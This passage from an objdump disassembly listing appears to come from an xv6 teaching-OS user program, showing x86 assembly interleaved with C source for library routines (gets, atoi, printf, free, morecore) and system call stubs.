ef movzbl -0x11(%ebp),%eax 257: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 259: 0f b6 45 ef movzbl -0x11(%ebp),%eax 25d: 3c 0a cmp $0xa,%al 25f: 74 16 je 277 <gets+0x5f> 261: 0f b6 45 ef movzbl -0x11(%ebp),%eax 265: 3c 0d cmp $0xd,%al 267: 74 0e je 277 <gets+0x5f> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 269: 8b 45 f4 mov -0xc(%ebp),%eax 26c: 83 c0 01 add $0x1,%eax 26f: 3b 45 0c cmp 0xc(%ebp),%eax 272: 7c b3 jl 227 <gets+0xf> 274: eb 01 jmp 277 <gets+0x5f> cc = read(0, &c, 1); if(cc < 1) break; 276: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 277: 8b 55 f4 mov -0xc(%ebp),%edx 27a: 8b 45 08 mov 0x8(%ebp),%eax 27d: 01 d0 add %edx,%eax 27f: c6 00 00 movb $0x0,(%eax) return buf; 282: 8b 45 08 mov 0x8(%ebp),%eax } 285: c9 leave 286: c3 ret 00000287 <stat>: int stat(char *n, struct stat *st) { 287: 55 push %ebp 288: 89 e5 mov %esp,%ebp 28a: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 28d: 83 ec 08 sub $0x8,%esp 290: 6a 00 push $0x0 292: ff 75 08 pushl 0x8(%ebp) 295: e8 9a 01 00 00 call 434 <open> 29a: 83 c4 10 add $0x10,%esp 29d: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 2a0: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 2a4: 79 07 jns 2ad <stat+0x26> return -1; 2a6: b8 ff ff ff ff mov $0xffffffff,%eax 2ab: eb 25 jmp 2d2 <stat+0x4b> r = fstat(fd, st); 2ad: 83 ec 08 sub $0x8,%esp 2b0: ff 75 0c pushl 0xc(%ebp) 2b3: ff 75 f4 pushl -0xc(%ebp) 2b6: e8 91 01 00 00 call 44c <fstat> 2bb: 83 c4 10 add $0x10,%esp 2be: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 2c1: 83 ec 0c sub $0xc,%esp 2c4: ff 75 f4 pushl -0xc(%ebp) 2c7: e8 50 01 00 00 call 41c <close> 2cc: 83 c4 10 add $0x10,%esp return r; 2cf: 8b 45 f0 mov -0x10(%ebp),%eax } 2d2: c9 leave 2d3: c3 ret 000002d4 <atoi>: int atoi(const char *s) { 2d4: 55 push %ebp 2d5: 89 e5 mov %esp,%ebp 2d7: 83 ec 10 sub $0x10,%esp int n; n = 0; 2da: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 2e1: eb 25 jmp 308 <atoi+0x34> n = n*10 + *s++ - '0'; 2e3: 8b 55 fc mov -0x4(%ebp),%edx 2e6: 89 d0 mov %edx,%eax 2e8: c1 e0 02 shl $0x2,%eax 2eb: 01 d0 add %edx,%eax 2ed: 01 c0 add %eax,%eax 2ef: 89 c1 mov %eax,%ecx 2f1: 8b 45 08 mov 0x8(%ebp),%eax 2f4: 8d 50 01 lea 0x1(%eax),%edx 2f7: 89 55 08 mov %edx,0x8(%ebp) 2fa: 0f b6 00 movzbl (%eax),%eax 2fd: 0f be c0 movsbl %al,%eax 300: 01 c8 add %ecx,%eax 302: 83 e8 30 sub $0x30,%eax 305: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 308: 8b 45 08 mov 0x8(%ebp),%eax 30b: 0f b6 00 movzbl (%eax),%eax 30e: 3c 2f cmp $0x2f,%al 310: 7e 0a jle 31c <atoi+0x48> 312: 8b 45 08 mov 0x8(%ebp),%eax 315: 0f b6 00 movzbl (%eax),%eax 318: 3c 39 cmp $0x39,%al 31a: 7e c7 jle 2e3 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 31c: 8b 45 fc mov -0x4(%ebp),%eax } 31f: c9 leave 320: c3 ret 00000321 <atoo>: int atoo(const char *s) { 321: 55 push %ebp 322: 89 e5 mov %esp,%ebp 324: 83 ec 10 sub $0x10,%esp int n, sign; n = 0; 327: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while (*s == ' ') 32e: eb 04 jmp 334 <atoo+0x13> s++; 330: 83 45 08 01 addl $0x1,0x8(%ebp) int atoo(const char *s) { int n, sign; n = 0; while (*s == ' ') 334: 8b 45 08 mov 0x8(%ebp),%eax 337: 0f b6 00 movzbl (%eax),%eax 33a: 3c 20 cmp $0x20,%al 33c: 74 f2 je 330 <atoo+0xf> s++; sign = (*s == '-') ? -1 : 1; 33e: 8b 45 08 mov 0x8(%ebp),%eax 341: 0f b6 00 movzbl (%eax),%eax 344: 3c 2d cmp $0x2d,%al 346: 75 07 jne 34f <atoo+0x2e> 348: b8 ff ff ff ff mov $0xffffffff,%eax 34d: eb 05 jmp 354 <atoo+0x33> 34f: b8 01 00 00 00 mov $0x1,%eax 354: 89 45 f8 mov %eax,-0x8(%ebp) if (*s == '+' || *s == '-') 357: 8b 45 08 mov 0x8(%ebp),%eax 35a: 0f b6 00 movzbl (%eax),%eax 35d: 3c 2b cmp $0x2b,%al 35f: 74 0a je 36b <atoo+0x4a> 361: 8b 45 08 mov 0x8(%ebp),%eax 364: 0f b6 00 movzbl (%eax),%eax 367: 3c 2d cmp $0x2d,%al 369: 75 27 jne 392 <atoo+0x71> s++; 36b: 83 45 08 01 addl $0x1,0x8(%ebp) while ('0' <= *s && *s <= '7') 36f: eb 21 jmp 392 <atoo+0x71> n = n*8 + *s++ - '0'; 371: 8b 45 fc mov -0x4(%ebp),%eax 374: 8d 0c c5 00 00 00 00 lea 0x0(,%eax,8),%ecx 37b: 8b 45 08 mov 0x8(%ebp),%eax 37e: 8d 50 01 lea 0x1(%eax),%edx 381: 89 55 08 mov %edx,0x8(%ebp) 384: 0f b6 00 movzbl (%eax),%eax 387: 0f be c0 movsbl %al,%eax 38a: 01 c8 add %ecx,%eax 38c: 83 e8 30 sub $0x30,%eax 38f: 89 45 fc mov %eax,-0x4(%ebp) while (*s == ' ') s++; sign = (*s == '-') ? -1 : 1; if (*s == '+' || *s == '-') s++; while ('0' <= *s && *s <= '7') 392: 8b 45 08 mov 0x8(%ebp),%eax 395: 0f b6 00 movzbl (%eax),%eax 398: 3c 2f cmp $0x2f,%al 39a: 7e 0a jle 3a6 <atoo+0x85> 39c: 8b 45 08 mov 0x8(%ebp),%eax 39f: 0f b6 00 movzbl (%eax),%eax 3a2: 3c 37 cmp $0x37,%al 3a4: 7e cb jle 371 <atoo+0x50> n = n*8 + *s++ - '0'; return sign*n; 3a6: 8b 45 f8 mov -0x8(%ebp),%eax 3a9: 0f af 45 fc imul -0x4(%ebp),%eax } 3ad: c9 leave 3ae: c3 ret 000003af <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 3af: 55 push %ebp 3b0: 89 e5 mov %esp,%ebp 3b2: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 3b5: 8b 45 08 mov 0x8(%ebp),%eax 3b8: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 3bb: 8b 45 0c mov 0xc(%ebp),%eax 3be: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 3c1: eb 17 jmp 3da <memmove+0x2b> *dst++ = *src++; 3c3: 8b 45 fc mov -0x4(%ebp),%eax 3c6: 8d 50 01 lea 0x1(%eax),%edx 3c9: 89 55 fc mov %edx,-0x4(%ebp) 3cc: 8b 55 f8 mov -0x8(%ebp),%edx 3cf: 8d 4a 01 lea 0x1(%edx),%ecx 3d2: 89 4d f8 mov %ecx,-0x8(%ebp) 3d5: 0f b6 12 movzbl (%edx),%edx 3d8: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 3da: 8b 45 10 mov 0x10(%ebp),%eax 3dd: 8d 50 ff lea -0x1(%eax),%edx 3e0: 89 55 10 mov %edx,0x10(%ebp) 3e3: 85 c0 test %eax,%eax 3e5: 7f dc jg 3c3 <memmove+0x14> *dst++ = *src++; return vdst; 3e7: 8b 45 08 mov 0x8(%ebp),%eax } 3ea: c9 leave 3eb: c3 ret 000003ec <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 3ec: b8 01 00 00 00 mov $0x1,%eax 3f1: cd 40 int $0x40 3f3: c3 ret 000003f4 <exit>: SYSCALL(exit) 3f4: b8 02 00 00 00 mov $0x2,%eax 3f9: cd 40 int $0x40 3fb: c3 ret 000003fc <wait>: SYSCALL(wait) 3fc: b8 03 00 00 00 mov $0x3,%eax 401: cd 40 int $0x40 403: c3 ret 00000404 <pipe>: SYSCALL(pipe) 404: b8 04 00 00 00 mov $0x4,%eax 409: cd 40 int $0x40 40b: c3 ret 0000040c <read>: SYSCALL(read) 40c: b8 05 00 00 00 mov $0x5,%eax 411: cd 40 int $0x40 413: c3 ret 00000414 <write>: SYSCALL(write) 414: b8 10 00 00 00 mov $0x10,%eax 419: cd 40 int $0x40 41b: c3 ret 0000041c <close>: SYSCALL(close) 41c: b8 15 00 00 00 mov $0x15,%eax 421: cd 40 int $0x40 423: c3 ret 00000424 <kill>: SYSCALL(kill) 424: b8 06 00 00 00 mov $0x6,%eax 429: cd 40 int $0x40 42b: c3 ret 0000042c <exec>: SYSCALL(exec) 42c: b8 07 00 00 00 mov $0x7,%eax 431: cd 40 int $0x40 433: c3 ret 00000434 <open>: SYSCALL(open) 434: b8 0f 00 00 00 mov $0xf,%eax 439: cd 40 int $0x40 43b: c3 ret 0000043c <mknod>: SYSCALL(mknod) 43c: b8 11 00 00 00 mov $0x11,%eax 441: cd 40 int $0x40 443: c3 ret 00000444 <unlink>: SYSCALL(unlink) 444: b8 12 00 00 00 mov $0x12,%eax 449: cd 40 int $0x40 44b: c3 ret 0000044c <fstat>: SYSCALL(fstat) 44c: b8 08 00 00 00 mov $0x8,%eax 451: cd 40 int $0x40 453: c3 ret 00000454 <link>: SYSCALL(link) 454: b8 13 00 00 00 mov $0x13,%eax 459: cd 40 int $0x40 45b: c3 ret 0000045c <mkdir>: SYSCALL(mkdir) 45c: b8 14 00 00 00 mov $0x14,%eax 461: cd 40 int $0x40 463: c3 ret 00000464 <chdir>: SYSCALL(chdir) 464: b8 09 00 00 00 mov $0x9,%eax 469: cd 40 int $0x40 46b: c3 ret 0000046c <dup>: SYSCALL(dup) 46c: b8 0a 00 00 00 mov $0xa,%eax 471: cd 40 int $0x40 473: c3 ret 00000474 <getpid>: SYSCALL(getpid) 474: b8 0b 00 00 00 mov $0xb,%eax 479: cd 40 int $0x40 47b: c3 ret 0000047c <sbrk>: SYSCALL(sbrk) 47c: b8 0c 00 00 00 mov $0xc,%eax 481: cd 40 int $0x40 483: c3 ret 00000484 <sleep>: SYSCALL(sleep) 484: b8 0d 00 00 00 mov $0xd,%eax 489: cd 40 int $0x40 48b: c3 ret 0000048c <uptime>: SYSCALL(uptime) 48c: b8 0e 00 00 00 mov $0xe,%eax 491: cd 40 int $0x40 493: c3 ret 00000494 <halt>: SYSCALL(halt) 494: b8 16 00 00 00 mov $0x16,%eax 499: cd 40 int $0x40 49b: c3 ret 0000049c <date>: SYSCALL(date) 49c: b8 17 00 00 00 mov $0x17,%eax 4a1: cd 40 int $0x40 4a3: c3 ret 000004a4 <getuid>: SYSCALL(getuid) 4a4: b8 18 00 00 00 mov $0x18,%eax 4a9: cd 40 int $0x40 4ab: c3 ret 000004ac <getgid>: SYSCALL(getgid) 4ac: b8 19 00 00 00 mov $0x19,%eax 4b1: cd 40 int $0x40 4b3: c3 ret 000004b4 <getppid>: SYSCALL(getppid) 4b4: b8 1a 00 00 00 mov $0x1a,%eax 4b9: cd 40 int $0x40 4bb: c3 ret 000004bc <setuid>: SYSCALL(setuid) 4bc: b8 1b 00 00 00 mov $0x1b,%eax 4c1: cd 40 int $0x40 4c3: c3 ret 000004c4 <setgid>: SYSCALL(setgid) 4c4: b8 1c 00 00 00 mov $0x1c,%eax 4c9: cd 40 int $0x40 4cb: c3 ret 000004cc <getprocs>: SYSCALL(getprocs) 4cc: b8 1d 00 00 00 mov $0x1d,%eax 4d1: cd 40 int $0x40 4d3: c3 ret 000004d4 <setpriority>: SYSCALL(setpriority) 4d4: b8 1e 00 00 00 mov $0x1e,%eax 4d9: cd 40 int $0x40 4db: c3 ret 000004dc <chmod>: SYSCALL(chmod) 4dc: b8 1f 00 00 00 mov $0x1f,%eax 4e1: cd 40 int $0x40 4e3: c3 ret 000004e4 <chown>: SYSCALL(chown) 4e4: b8 20 00 00 00 mov $0x20,%eax 4e9: cd 40 int $0x40 4eb: c3 ret 000004ec <chgrp>: SYSCALL(chgrp) 4ec: b8 21 00 00 00 mov $0x21,%eax 4f1: cd 40 int $0x40 4f3: c3 ret 000004f4 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 4f4: 55 push %ebp 4f5: 89 e5 mov %esp,%ebp 4f7: 83 ec 18 sub $0x18,%esp 4fa: 8b 45 0c mov 0xc(%ebp),%eax 4fd: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 500: 83 ec 04 sub $0x4,%esp 503: 6a 01 push $0x1 505: 8d 45 f4 lea -0xc(%ebp),%eax 508: 50 push %eax 509: ff 75 08 pushl 0x8(%ebp) 50c: e8 03 ff ff ff call 414 <write> 511: 83 c4 10 add $0x10,%esp } 514: 90 nop 515: c9 leave 516: c3 ret 00000517 <printint>: static void printint(int fd, int xx, int base, int sgn) { 517: 55 push %ebp 518: 89 e5 mov %esp,%ebp 51a: 53 push %ebx 51b: 83 ec 24 sub $0x24,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 51e: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 525: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 529: 74 17 je 542 <printint+0x2b> 52b: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 52f: 79 11 jns 542 <printint+0x2b> neg = 1; 531: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 538: 8b 45 0c mov 0xc(%ebp),%eax 53b: f7 d8 neg %eax 53d: 89 45 ec mov %eax,-0x14(%ebp) 540: eb 06 jmp 548 <printint+0x31> } else { x = xx; 542: 8b 45 0c mov 0xc(%ebp),%eax 545: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 548: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 54f: 8b 4d f4 mov -0xc(%ebp),%ecx 552: 8d 41 01 lea 0x1(%ecx),%eax 555: 89 45 f4 mov %eax,-0xc(%ebp) 558: 8b 5d 10 mov 0x10(%ebp),%ebx 55b: 8b 45 ec mov -0x14(%ebp),%eax 55e: ba 00 00 00 00 mov $0x0,%edx 563: f7 f3 div %ebx 565: 89 d0 mov %edx,%eax 567: 0f b6 80 3c 0c 00 00 movzbl 0xc3c(%eax),%eax 56e: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 572: 8b 5d 10 mov 0x10(%ebp),%ebx 575: 8b 45 ec mov -0x14(%ebp),%eax 578: ba 00 00 00 00 mov $0x0,%edx 57d: f7 f3 div %ebx 57f: 89 45 ec mov %eax,-0x14(%ebp) 582: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 586: 75 c7 jne 54f <printint+0x38> if(neg) 588: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 58c: 74 2d je 5bb <printint+0xa4> buf[i++] = '-'; 58e: 8b 45 f4 mov -0xc(%ebp),%eax 591: 8d 50 01 lea 0x1(%eax),%edx 594: 89 55 f4 mov %edx,-0xc(%ebp) 597: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 59c: eb 1d jmp 5bb <printint+0xa4> putc(fd, buf[i]); 59e: 8d 55 dc lea -0x24(%ebp),%edx 5a1: 8b 45 f4 mov -0xc(%ebp),%eax 5a4: 01 d0 add %edx,%eax 5a6: 0f b6 00 movzbl (%eax),%eax 5a9: 0f be c0 movsbl %al,%eax 5ac: 83 ec 08 sub $0x8,%esp 5af: 50 push %eax 5b0: ff 75 08 pushl 0x8(%ebp) 5b3: e8 3c ff ff ff call 4f4 <putc> 5b8: 83 c4 10 add $0x10,%esp buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 5bb: 83 6d f4 01 subl $0x1,-0xc(%ebp) 5bf: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 5c3: 79 d9 jns 59e <printint+0x87> putc(fd, buf[i]); } 5c5: 90 nop 5c6: 8b 5d fc mov -0x4(%ebp),%ebx 5c9: c9 leave 5ca: c3 ret 000005cb <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 5cb: 55 push %ebp 5cc: 89 e5 mov %esp,%ebp 5ce: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 5d1: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 5d8: 8d 45 0c lea 0xc(%ebp),%eax 5db: 83 c0 04 add $0x4,%eax 5de: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 5e1: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 5e8: e9 59 01 00 00 jmp 746 <printf+0x17b> c = fmt[i] & 0xff; 5ed: 8b 55 0c mov 0xc(%ebp),%edx 5f0: 8b 45 f0 mov -0x10(%ebp),%eax 5f3: 01 d0 add %edx,%eax 5f5: 0f b6 00 movzbl (%eax),%eax 5f8: 0f be c0 movsbl %al,%eax 5fb: 25 ff 00 00 00 and $0xff,%eax 600: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 603: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 607: 75 2c jne 635 <printf+0x6a> if(c == '%'){ 609: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 60d: 75 0c jne 61b <printf+0x50> state = '%'; 60f: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 616: e9 27 01 00 00 jmp 742 <printf+0x177> } else { putc(fd, c); 61b: 8b 45 e4 mov -0x1c(%ebp),%eax 61e: 0f be c0 movsbl %al,%eax 621: 83 ec 08 sub $0x8,%esp 624: 50 push %eax 625: ff 75 08 pushl 0x8(%ebp) 628: e8 c7 fe ff ff call 4f4 <putc> 62d: 83 c4 10 add $0x10,%esp 630: e9 0d 01 00 00 jmp 742 <printf+0x177> } } else if(state == '%'){ 635: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 639: 0f 85 03 01 00 00 jne 742 <printf+0x177> if(c == 'd'){ 63f: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 643: 75 1e jne 663 <printf+0x98> printint(fd, *ap, 10, 1); 645: 8b 45 e8 mov -0x18(%ebp),%eax 648: 8b 00 mov (%eax),%eax 64a: 6a 01 push $0x1 64c: 6a 0a push $0xa 64e: 50 push %eax 64f: ff 75 08 pushl 0x8(%ebp) 652: e8 c0 fe ff ff call 517 <printint> 657: 83 c4 10 add $0x10,%esp ap++; 65a: 83 45 e8 04 addl $0x4,-0x18(%ebp) 65e: e9 d8 00 00 00 jmp 73b <printf+0x170> } else if(c == 'x' || c == 'p'){ 663: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 667: 74 06 je 66f <printf+0xa4> 669: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 66d: 75 1e jne 68d <printf+0xc2> printint(fd, *ap, 16, 0); 66f: 8b 45 e8 mov -0x18(%ebp),%eax 672: 8b 00 mov (%eax),%eax 674: 6a 00 push $0x0 676: 6a 10 push $0x10 678: 50 push %eax 679: ff 75 08 pushl 0x8(%ebp) 67c: e8 96 fe ff ff call 517 <printint> 681: 83 c4 10 add $0x10,%esp ap++; 684: 83 45 e8 04 addl $0x4,-0x18(%ebp) 688: e9 ae 00 00 00 jmp 73b <printf+0x170> } else if(c == 's'){ 68d: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 691: 75 43 jne 6d6 <printf+0x10b> s = (char*)*ap; 693: 8b 45 e8 mov -0x18(%ebp),%eax 696: 8b 00 mov (%eax),%eax 698: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 69b: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 69f: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 6a3: 75 25 jne 6ca <printf+0xff> s = "(null)"; 6a5: c7 45 f4 a7 09 00 00 movl $0x9a7,-0xc(%ebp) while(*s != 0){ 6ac: eb 1c jmp 6ca <printf+0xff> putc(fd, *s); 6ae: 8b 45 f4 mov -0xc(%ebp),%eax 6b1: 0f b6 00 movzbl (%eax),%eax 6b4: 0f be c0 movsbl %al,%eax 6b7: 83 ec 08 sub $0x8,%esp 6ba: 50 push %eax 6bb: ff 75 08 pushl 0x8(%ebp) 6be: e8 31 fe ff ff call 4f4 <putc> 6c3: 83 c4 10 add $0x10,%esp s++; 6c6: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 6ca: 8b 45 f4 mov -0xc(%ebp),%eax 6cd: 0f b6 00 movzbl (%eax),%eax 6d0: 84 c0 test %al,%al 6d2: 75 da jne 6ae <printf+0xe3> 6d4: eb 65 jmp 73b <printf+0x170> putc(fd, *s); s++; } } else if(c == 'c'){ 6d6: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 6da: 75 1d jne 6f9 <printf+0x12e> putc(fd, *ap); 6dc: 8b 45 e8 mov -0x18(%ebp),%eax 6df: 8b 00 mov (%eax),%eax 6e1: 0f be c0 movsbl %al,%eax 6e4: 83 ec 08 sub $0x8,%esp 6e7: 50 push %eax 6e8: ff 75 08 pushl 0x8(%ebp) 6eb: e8 04 fe ff ff call 4f4 <putc> 6f0: 83 c4 10 add $0x10,%esp ap++; 6f3: 83 45 e8 04 addl $0x4,-0x18(%ebp) 6f7: eb 42 jmp 73b <printf+0x170> } else if(c == '%'){ 6f9: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 6fd: 75 17 jne 716 <printf+0x14b> putc(fd, c); 6ff: 8b 45 e4 mov -0x1c(%ebp),%eax 702: 0f be c0 movsbl %al,%eax 705: 83 ec 08 sub $0x8,%esp 708: 50 push %eax 709: ff 75 08 pushl 0x8(%ebp) 70c: e8 e3 fd ff ff call 4f4 <putc> 711: 83 c4 10 add $0x10,%esp 714: eb 25 jmp 73b <printf+0x170> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 716: 83 ec 08 sub $0x8,%esp 719: 6a 25 push $0x25 71b: ff 75 08 pushl 0x8(%ebp) 71e: e8 d1 fd ff ff call 4f4 <putc> 723: 83 c4 10 add $0x10,%esp putc(fd, c); 726: 8b 45 e4 mov -0x1c(%ebp),%eax 729: 0f be c0 movsbl %al,%eax 72c: 83 ec 08 sub $0x8,%esp 72f: 50 push %eax 730: ff 75 08 pushl 0x8(%ebp) 733: e8 bc fd ff ff call 4f4 <putc> 738: 83 c4 10 add $0x10,%esp } state = 0; 73b: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 742: 83 45 f0 01 addl $0x1,-0x10(%ebp) 746: 8b 55 0c mov 0xc(%ebp),%edx 749: 8b 45 f0 mov -0x10(%ebp),%eax 74c: 01 d0 add %edx,%eax 74e: 0f b6 00 movzbl (%eax),%eax 751: 84 c0 test %al,%al 753: 0f 85 94 fe ff ff jne 5ed <printf+0x22> putc(fd, c); } state = 0; } } } 759: 90 nop 75a: c9 leave 75b: c3 ret 0000075c <free>: static Header base; static Header *freep; void free(void *ap) { 75c: 55 push %ebp 75d: 89 e5 mov %esp,%ebp 75f: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 762: 8b 45 08 mov 0x8(%ebp),%eax 765: 83 e8 08 sub $0x8,%eax 768: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 76b: a1 68 0c 00 00 mov 0xc68,%eax 770: 89 45 fc mov %eax,-0x4(%ebp) 773: eb 24 jmp 799 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 775: 8b 45 fc mov -0x4(%ebp),%eax 778: 8b 00 mov (%eax),%eax 77a: 3b 45 fc cmp -0x4(%ebp),%eax 77d: 77 12 ja 791 <free+0x35> 77f: 8b 45 f8 mov -0x8(%ebp),%eax 782: 3b 45 fc cmp -0x4(%ebp),%eax 785: 77 24 ja 7ab <free+0x4f> 787: 8b 45 fc mov -0x4(%ebp),%eax 78a: 8b 00 mov (%eax),%eax 78c: 3b 45 f8 cmp -0x8(%ebp),%eax 78f: 77 1a ja 7ab <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 791: 8b 45 fc mov -0x4(%ebp),%eax 794: 8b 00 mov (%eax),%eax 796: 89 45 fc mov %eax,-0x4(%ebp) 799: 8b 45 f8 mov -0x8(%ebp),%eax 79c: 3b 45 fc cmp -0x4(%ebp),%eax 79f: 76 d4 jbe 775 <free+0x19> 7a1: 8b 45 fc mov -0x4(%ebp),%eax 7a4: 8b 00 mov (%eax),%eax 7a6: 3b 45 f8 cmp -0x8(%ebp),%eax 7a9: 76 ca jbe 775 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 7ab: 8b 45 f8 mov -0x8(%ebp),%eax 7ae: 8b 40 04 mov 0x4(%eax),%eax 7b1: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 7b8: 8b 45 f8 mov -0x8(%ebp),%eax 7bb: 01 c2 add %eax,%edx 7bd: 8b 45 fc mov -0x4(%ebp),%eax 7c0: 8b 00 mov (%eax),%eax 7c2: 39 c2 cmp %eax,%edx 7c4: 75 24 jne 7ea <free+0x8e> bp->s.size += p->s.ptr->s.size; 7c6: 8b 45 f8 mov -0x8(%ebp),%eax 7c9: 8b 50 04 mov 0x4(%eax),%edx 7cc: 8b 45 fc mov -0x4(%ebp),%eax 7cf: 8b 00 mov (%eax),%eax 7d1: 8b 40 04 mov 0x4(%eax),%eax 7d4: 01 c2 add %eax,%edx 7d6: 8b 45 f8 mov -0x8(%ebp),%eax 7d9: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 7dc: 8b 45 fc mov -0x4(%ebp),%eax 7df: 8b 00 mov (%eax),%eax 7e1: 8b 10 mov (%eax),%edx 7e3: 8b 45 f8 mov -0x8(%ebp),%eax 7e6: 89 10 mov %edx,(%eax) 7e8: eb 0a jmp 7f4 <free+0x98> } else bp->s.ptr = p->s.ptr; 7ea: 8b 45 fc mov -0x4(%ebp),%eax 7ed: 8b 10 mov (%eax),%edx 7ef: 8b 45 f8 mov -0x8(%ebp),%eax 7f2: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 7f4: 8b 45 fc mov -0x4(%ebp),%eax 7f7: 8b 40 04 mov 0x4(%eax),%eax 7fa: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 801: 8b 45 fc mov -0x4(%ebp),%eax 804: 01 d0 add %edx,%eax 806: 3b 45 f8 cmp -0x8(%ebp),%eax 809: 75 20 jne 82b <free+0xcf> p->s.size += bp->s.size; 80b: 8b 45 fc mov -0x4(%ebp),%eax 80e: 8b 50 04 mov 0x4(%eax),%edx 811: 8b 45 f8 mov -0x8(%ebp),%eax 814: 8b 40 04 mov 0x4(%eax),%eax 817: 01 c2 add %eax,%edx 819: 8b 45 fc mov -0x4(%ebp),%eax 81c: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 81f: 8b 45 f8 mov -0x8(%ebp),%eax 822: 8b 10 mov (%eax),%edx 824: 8b 45 fc mov -0x4(%ebp),%eax 827: 89 10 mov %edx,(%eax) 829: eb 08 jmp 833 <free+0xd7> } else p->s.ptr = bp; 82b: 8b 45 fc mov -0x4(%ebp),%eax 82e: 8b 55 f8 mov -0x8(%ebp),%edx 831: 89 10 mov %edx,(%eax) freep = p; 833: 8b 45 fc mov -0x4(%ebp),%eax 836: a3 68 0c 00 00 mov %eax,0xc68 } 83b: 90 nop 83c: c9 leave 83d: c3 ret 0000083e <morecore>: static Header* morecore(uint nu) { 83e: 55 push %ebp 83f: 89 e5 mov %esp,%ebp 841: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if(nu < 4096) 844: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 84b: 77 07 ja 854 <morecore+0x16> nu = 4096; 84d: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 854: 8b 45 08 mov 0x8(%ebp),%eax 857: c1 e0 03 shl $0x3,%eax 85a: 83 ec 0c sub $0xc,%esp 85d: 50 push %eax 85e: e8 19 fc ff ff call 47c <sbrk> 863: 83 c4 10 add $0x10,%esp 866: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 869: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 86d: 75 07 jne 876 <morecore+0x38> return 0; 86f: b8 00 00 00 00 mov $0x0,%eax 874: eb 26 jmp 89c <morecore+0x5e> hp = (Header*)p; 876: 